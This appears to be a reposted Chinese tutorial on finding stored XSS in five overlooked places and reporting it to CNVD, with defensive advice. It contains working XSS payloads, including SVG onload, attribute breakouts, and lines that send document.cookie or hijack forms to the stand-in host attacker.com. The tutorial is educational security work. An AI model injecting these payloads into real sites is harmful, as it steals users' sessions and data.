当前位置：首页 > news >正文

存储型XSS漏洞深度挖掘：从隐蔽场景到CNVD实战指南

news 2026/6/22 18:07:02

1. 项目概述：为什么存储XSS总在“灯下黑”？

干了这么多年安全测试，我发现一个挺有意思的现象：很多刚入行的兄弟，一提到XSS（跨站脚本攻击），脑子里蹦出来的大多是反射型XSS。对着URL参数一顿alert(1)，弹个框就觉得自己摸到门道了。但真正让甲方头疼、能让安全工程师“一战成名”的，往往不是这些一闪而过的反射型，而是那些像“钉子户”一样长期潜伏的存储型XSS。它之所以危险，是因为恶意脚本被直接存到了服务器数据库里，任何一个访问特定页面的用户都会中招，影响面是指数级扩散的。

这个项目标题《新手必看：5种最容易被忽略的存储XSS漏洞场景（含CNVD申报技巧）》，精准地戳中了两个痛点：一是场景的隐蔽性，那些你以为“不可能”或者“没权限”的地方，恰恰是漏洞的温床；二是价值的落地性，找到了漏洞，怎么把它变成被行业认可的成果（比如CNVD证书），这是从“脚本小子”到“专业白帽子”的关键一步。我会结合像Pikachu这类经典靶场里展示的案例，但更侧重于剖析真实业务中那些教科书不会细讲、却又真实存在的“灰色地带”。无论你是正在刷靶场的新手，还是已经开始接触真实业务测试的安全爱好者，这篇文章都能帮你把视线从那些明显的输入框，转移到更纵深、更易被忽略的业务逻辑深处。

2. 核心漏洞场景深度解析：藏在哪？怎么挖？

存储型XSS的成功利用，核心在于找到一个能将输入“持久化”并“展示给其他用户”的数据流。新手容易只盯着文章评论、用户昵称，但真正的“富矿”往往在以下五个场景里。

2.1 场景一：用户画像与“个性化”陷阱

很多Web应用都有个人中心，允许用户设置头像、签名、个人简介等。这里有个高级玩法：富文本编辑器（Rich Text Editor）的滥用。比如，一个博客平台允许用户在“个人简介”里使用加粗、斜体、插入链接。前端可能用了<div contenteditable="true">或者一些常见的编辑器库（如UEditor、wangEditor）。攻击者可以尝试在“插入链接”的URL处，输入javascript:alert(document.cookie)。如果前端没有对javascript:协议进行过滤，后端也没有做二次校验和净化，那么这个“个性化”的链接就会被存入数据库。

更深层的利用：有些应用为了“用户体验”，会将用户的个人简介在多个地方展示——不仅在个人主页，还会在文章评论区作为“楼主信息”展示，甚至在站内信、用户列表页展示。这意味着，一旦攻击者成功注入，所有能看到这些信息页面的用户都会受到影响。实操时，不要只测纯文本的简介框，一定要测试所有支持“富文本”或“自定义格式”的用户信息字段。

注意：测试时，不要一上来就用<script>alert(1)</script>这种明显标签。可以先尝试一些更隐蔽的Payload，比如利用HTML事件属性：<img src=1 onerror=alert(1)>，或者利用SVG标签：<svg onload=alert(1)>。很多WAF或基础过滤对这类变种识别率并不高。

2.2 场景二：文件上传处的“马甲”攻击

文件上传功能是存储型XSS的经典载体，但新手往往只检查是否能上传webshell，忽略了它对XSS的影响。这里主要分两种：

文件名注入：上传文件时，文件名（filename）这个参数通常会被记录并显示。如果应用在展示上传记录时，直接将文件名输出到HTML中，且未做转义，就可能产生XSS。例如，上传一个图片，但将文件名改为" onmouseover="alert(1).jpg。后端存储了这个文件名，前端在列表页用<td><img src="...">+ 文件名 +</td>的方式渲染，就可能构造出<td><img src="..." onmouseover="alert(1).jpg"></td>，onmouseover事件就被成功注入。
文件内容伪装：这是更隐蔽的一种。有些应用（如一些在线文档预览、头像裁剪服务）会上传SVG格式的图片。SVG本质是XML，可以内嵌JavaScript。攻击者可以构造一个包含恶意脚本的SVG文件，例如：
```
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"> <rect width="100" height="100" style="fill:rgb(255,0,0);"/> </svg>
```
如果应用的后端仅通过文件后缀（.svg）或简单的魔数检测就判断为图片，并信任地存储和直接提供访问，那么当其他用户浏览器加载这个“图片”时，内嵌的脚本就会执行。

排查要点：遇到任何文件上传功能，不仅要看后端对文件内容的检查（类型、大小、内容重渲染），更要关注文件元数据（如文件名、描述）在前端是如何被渲染的，以及像SVG、HTML这类可执行格式的文件是否被安全地处理（如进行静态化转换或沙箱隔离）。

2.3 场景三：内部系统与“信任边界”的崩塌

这是最容易被忽略，但危害可能最大的场景。很多开发人员和安全测试人员会不自觉地认为：后台管理系统、内部OA、运营平台是安全的，因为“外人”进不来。这种基于“信任边界”的假设是极其危险的。

假设一个内容管理系统（CMS）的后台，有一个“网站配置”页面，可以设置网站标题、页脚版权信息、客服联系方式等。这些配置信息会直接应用到前端所有页面的模板中。如果攻击者（可能是一个有后台低权限的账户，甚至是通过社会工程学获取了权限的内部人员）在“页脚信息”里输入了XSS Payload，那么整个网站的所有页面底部都会包含这段恶意脚本，影响所有访问用户。

为什么容易被忽略？因为测试时，我们常常用最高权限的admin账号，只关注功能是否正常，而不会用攻击者的思维去测试这些配置项的输入。实操建议：在测试内部系统时，要切换思维，假设攻击者已经通过某种方式（如弱口令、权限提升漏洞）获得了某个后台账户的访问权，那么他能在哪些“数据出口”留下持久化的恶意代码？所有能写入数据库、并最终在前端公共页面展示的配置项、公告栏、数据字典，都是需要重点测试的对象。

2.4 场景四：异步加载与动态渲染的“盲区”

现代前端应用大量使用Ajax、Fetch API和前端框架（Vue、React）进行动态渲染。这带来了新的XSS风险点：从API接口获取数据并动态插入DOM时，如果数据本身被污染，且前端使用了不安全的渲染方法，就会触发存储型XSS。

例如，一个单页应用（SPA），用户评论是通过APIGET /api/comments异步获取的JSON数据，然后前端用JavaScript动态生成HTML插入页面。如果后端在存储评论内容时没有过滤或转义，返回的数据中包含了恶意脚本，而前端又直接使用了innerHTML或v-html（Vue）、dangerouslySetInnerHTML（React）这类危险的方法来渲染，漏洞就产生了。

// 危险示例：Vue中直接使用v-html渲染未净化的数据 <template> <div v-html="userContent"></div> <!-- 如果userContent包含<script>，就会被执行 --> </template>

测试方法：使用Burp Suite等工具拦截应用的前后端API通信。重点关注返回JSON或XML数据的接口，查看其中包含的、用于前端展示的字段（如content、title、description）。修改这些字段的值，插入XSS Payload，然后观察前端页面是否执行。关键在于，攻击载荷是存储在数据库，通过“正常”的API接口返回的，绕过了传统对页面直接请求的监控。

2.5 场景五：第三方组件与供应链污染

这个场景的视角需要拔高一点。你的应用可能本身代码很安全，但它引用的第三方开源组件、库、SDK可能存在问题。如果这些组件存在存储型XSS漏洞，那么你的应用也会被连带影响。

例如，你的网站使用了一个开源的“用户反馈”组件。该组件允许用户提交反馈，并将反馈内容存储在自带的数据库表中，然后在管理后台展示。如果这个开源组件在展示反馈内容时没有做好输出编码，就存在存储型XSS。攻击者向你的网站提交恶意反馈，当管理员（或其他有权限查看反馈的人）登录后台查看时，就会触发XSS，可能导致管理员会话被窃取，进而沦陷整个后台。

如何应对：作为测试人员，在黑盒测试时，可以尝试寻找使用了特征明显的第三方组件的功能点（通过前端JS文件路径、CSS类名、HTML结构识别）。然后，去查阅该组件的公开漏洞库（如CVE、NVD），看看是否有已知的XSS漏洞，并尝试利用。在白盒或灰盒测试中，则要定期对项目依赖（如package.json、pom.xml）进行安全扫描，使用工具如npm audit、OWASP Dependency-Check来发现存在已知漏洞的组件。

3. 漏洞挖掘实战流程与技巧

知道了场景，下一步就是动手挖。这里我梳理了一套从信息收集到验证的完整流程，不是简单的点按钮，而是有策略的思考。

3.1 目标分析与功能点枚举

不要一上来就怼着输入框乱试。首先，把目标应用当成一个产品来理解。

手动浏览：以普通用户、注册用户、管理员（如果可能）等不同身份，完整地走一遍核心业务流程。重点关注所有“写”操作：发表、评论、上传、设置、配置、创建。
绘制数据流：在脑子里或纸上简单画一下。用户输入从哪里进（表单、API）？数据存到哪里去（数据库什么表）？最后又从哪里展示出来（哪个页面、哪个位置）？这个“展示”的对象是谁（自己、其他用户、管理员）？
工具辅助：使用浏览器开发者工具的“网络（Network）”面板，记录所有HTTP请求。使用Burp Suite的Target -> Site map功能，自动爬取站点结构，生成目录树。这能帮你发现一些隐藏的、通过前端JS动态加载的管理页面或API接口。

3.2 输入点探测与Payload构造

找到可能的数据输入点后，就要进行测试。

基础探测：先输入一些特殊字符，观察响应。比如输入<>\"'&，然后去看展示页面，这些字符是被原样显示、变成了乱码、还是被过滤/转义了（比如<变成了<）？这能帮你判断后端做了哪些处理。
上下文判断：这是关键！你的输入最终会被放在HTML的哪个位置？
- HTML标签内：如<div> [你的输入] </div>。这里可以用</div><script>alert(1)</script><div>来尝试闭合原有标签。
- HTML属性内：如<input value="[你的输入]">。这里需要先闭合引号，如" onmouseover="alert(1)，构造出<input value="" onmouseover="alert(1)">。
- JavaScript代码中：如<script>var data = "[你的输入]";</script>。这里需要闭合字符串和语句，如";alert(1);//，构造出<script>var data = "";alert(1);//";</script>。
Payload库与混淆：不要只用<script>alert(1)</script>。准备一个自己的Payload库，包含各种变体：利用图片标签、SVG、事件属性、CSS表达式、伪协议等。对于有基础过滤的系统，需要尝试编码混淆，如HTML实体编码、JS Unicode编码等。例如，<img src=x onerror=alert(1)>可以尝试混淆为<img src=x onerror=alert(1)>。

3.3 漏洞验证与影响面评估

弹出一个alert(1)只是证明漏洞存在，但它的真正危害需要进一步验证。

证明持久化：清除浏览器Cookie和本地存储，甚至换一个浏览器或隐身窗口，重新访问展示页面。如果脚本依然执行，说明它确实是存储在服务器端的存储型XSS。
升级攻击载荷：将证明性的alert(1)替换为具有实际危害的Payload。例如：
- 窃取Cookie：<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>。你需要一个接收数据的服务器（可以用Burp Collaborator或者简单的公网HTTP请求记录服务）。
- 模拟用户操作：<script>document.querySelector('form').action='https://attacker.com'; document.querySelector('form').submit();</script>用于劫持表单提交。
- 键盘记录：注入一个监听键盘事件的脚本，记录用户的输入。
评估影响范围：
- 受影响用户：是所有访客，还是仅登录用户，还是特定权限的用户（如管理员）？
- 触发条件：是否需要用户进行特定交互（如鼠标悬停、点击），还是页面加载即触发（更危险）？
- 数据敏感性：漏洞点能接触到什么数据？是公开信息，还是其他用户的私密数据（如站内信、订单详情）？能否通过此漏洞进行权限提升（如窃取管理员Cookie）？

4. CNVD漏洞申报实战指南

在国内安全圈，CNVD（国家信息安全漏洞共享平台）的证书是个人能力一个很有分量的佐证。很多SRC（安全应急响应中心）和企业在招聘时也会看重。但很多新手在挖到漏洞后，卡在了提交环节。这里我结合经验，详细说说怎么把挖到的存储型XSS，整理成一份高质量的CNVD漏洞报告。

4.1 报告撰写核心要素

CNVD的报告有固定格式，核心是把事情讲清楚、讲专业。

漏洞标题：要精准。格式建议：[厂商/产品名称] [具体功能模块] 存在存储型跨站脚本漏洞。例如：“XXCMS后台网站配置功能存储型跨站脚本漏洞”。
漏洞类型：勾选“跨站脚本”。
厂商信息：尽可能填写准确。如果是网站，厂商名称写其公司全称，可以从网站备案信息（ICP备案号）或“关于我们”页面查找。
漏洞等级：CNVD的定级主要依据《信息安全技术网络安全漏洞分类分级指南》（GB/T 30279-2020）。一个能够盗取用户Cookie、影响所有访问者的存储型XSS，通常可以定为中危。如果能进一步获取管理员权限、导致后台沦陷，则可以论证为高危。定级需要你在“漏洞描述”和“危害证明”里提供充分依据。
漏洞描述（最关键部分）：
- 背景：简要说明存在漏洞的系统是什么（如某公司官网、某电商平台）。
- 位置：明确指出漏洞存在的具体URL地址和功能点（如：https://example.com/admin/config后台配置页面）。
- 复现步骤：这是审核人员判断漏洞真实性的核心。必须清晰、完整、可复现。采用“第一步、第二步…”的格式。
  - 第一步：访问某个URL，使用什么账号登录（如果是后台漏洞，需要说明如何获得测试账号，或说明该漏洞在默认配置下存在）。
  - 第二步：在哪个输入框，输入什么样的Payload（给出完整Payload）。
  - 第三步：提交后，数据如何存储。
  - 第四步：访问哪个展示页面（或触发条件），观察到什么现象（如弹窗、请求发出）。
- 漏洞原理：简要分析原因，如“后端对用户输入的‘网站页脚’配置项未进行有效的过滤和转义，便存入数据库。前端在渲染该配置项时，直接将其输出到HTML页面中，导致恶意脚本被执行。”
漏洞证明：
- 截图：必不可少。需要包含：1）注入点的输入界面（带有Payload）。2）提交成功的界面或提示。3）漏洞触发后的效果（如弹窗、浏览器开发者工具中网络请求发送到攻击者服务器）。在截图中，用画图工具将关键信息（URL、Payload、触发效果）用红框圈出。
- 视频：如果漏洞触发流程复杂，可以录制一个简短的屏幕录像（不超过1分钟），上传到视频网站（如B站），将链接附在报告里。
修复建议：体现你的专业性。不要只说“请修复”。要给出具体方案：
- 输入过滤：对用户输入进行严格的合法性校验，过滤或拒绝包含危险字符和脚本的内容。
- 输出编码：在将数据输出到HTML页面时，根据其所在的上下文（HTML Body、Attribute、JavaScript、CSS），使用相应的编码函数（如HTML Entity编码、JavaScript Unicode编码）。
- 使用安全框架：建议使用具有自动XSS防护机制的现代Web开发框架（如React、Vue默认有部分防护），并确保其配置正确。
- 内容安全策略（CSP）：部署CSP HTTP头，作为最后一道防线，限制页面中可以加载和执行的脚本来源。

4.2 提交与沟通注意事项

一个漏洞一份报告：不要将多个不同的XSS点打包在一个报告里。每个独立的漏洞点（即使原理相同）都应单独提交。
信息准确：确保复现步骤中的URL、账号信息准确无误。审核人员会按照你的步骤进行验证。
避免敏感操作：在证明漏洞时，使用alert(document.domain)或向自己控制的无害地址（如Burp Collaborator）发送请求来证明“可执行”和“可外联”，绝对不要窃取真实用户数据或进行破坏性操作。
耐心等待：CNVD审核需要时间，通常几周到一两个月不等。期间可以在平台查看审核状态，但不要频繁催问。
报告被驳回怎么办：仔细阅读驳回理由。常见原因有：“漏洞已修复”、“无法复现”、“重复漏洞”、“危害过低”。如果是“无法复现”，检查你的复现步骤是否足够清晰，环境是否一致，尝试补充更详细的截图或视频。如果是“危害过低”，思考并论证这个漏洞在特定场景下可能产生的实际危害（如结合其他漏洞）。

5. 进阶防御视角与安全开发建议

作为测试者，了解如何防御能让你在挖掘时更有针对性，也能在报告修复建议时更有说服力。

5.1 深度防御策略组合

单一的防御措施很容易被绕过，必须采用组合拳。

输入验证与过滤：这是第一道防线，但不要依赖它。采用“白名单”原则，只允许已知安全的字符和格式通过。对于富文本，可以使用专业的HTML净化库（如JavaScript的DOMPurify，PHP的HTML Purifier）。
输出编码：这是最根本、最有效的措施。原则是：在哪里输出，就用哪里的编码。
- 输出到HTML正文：使用HTML实体编码（< -> <,> -> >）。
- 输出到HTML属性：除了编码<>&"，还要注意属性值用引号包裹。
- 输出到JavaScript：使用JavaScript Unicode编码（\uXXXX格式）。
- 输出到URL：使用URL编码。
内容安全策略（CSP）：通过HTTP响应头Content-Security-Policy告诉浏览器，只允许加载和执行来自哪些源的脚本、样式、图片等。即使攻击者成功注入了脚本，如果脚本来源不在白名单内，浏览器也不会执行。例如：Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com;这能极大缓解XSS的危害。
HttpOnly Cookie：为会话Cookie设置HttpOnly属性，可以阻止JavaScript通过document.cookie访问，这样即使发生XSS，攻击者也无法直接窃取用户的登录凭证。

5.2 安全开发生命周期（SDL）融入

对于开发团队而言，应将XSS防护融入到开发流程中。

安全培训：让开发人员理解XSS的原理、危害和常见场景。
安全组件/脚手架：在项目初始脚手架中，就集成好默认的编码函数、安全的富文本处理库和CSP配置。
代码审计与自动化扫描：在代码提交（CI/CD流程）中引入静态应用安全测试（SAST）工具，自动检测代码中的不安全函数（如innerHTML,eval()）。定期进行人工代码审计。
定期渗透测试：邀请内部安全团队或外部白帽子进行模拟攻击，发现潜在漏洞。

挖洞和防御是一个螺旋上升的过程。你越是了解防御如何构建，就越能发现那些构建得不够牢固的缝隙。存储型XSS就像隐藏在建筑承重墙里的白蚁，平时看不见，但一旦爆发，破坏力惊人。希望这五个场景和一套完整的方法，能帮你打开思路，不只是停留在“弹个框”，而是真正理解漏洞的根源、掌握挖掘的技巧，并最终能专业地呈现和推动漏洞的修复。安全之路，始于对细节的执着，成于对体系的把握。

查看全文

http://www.jsqmd.com/news/1062711/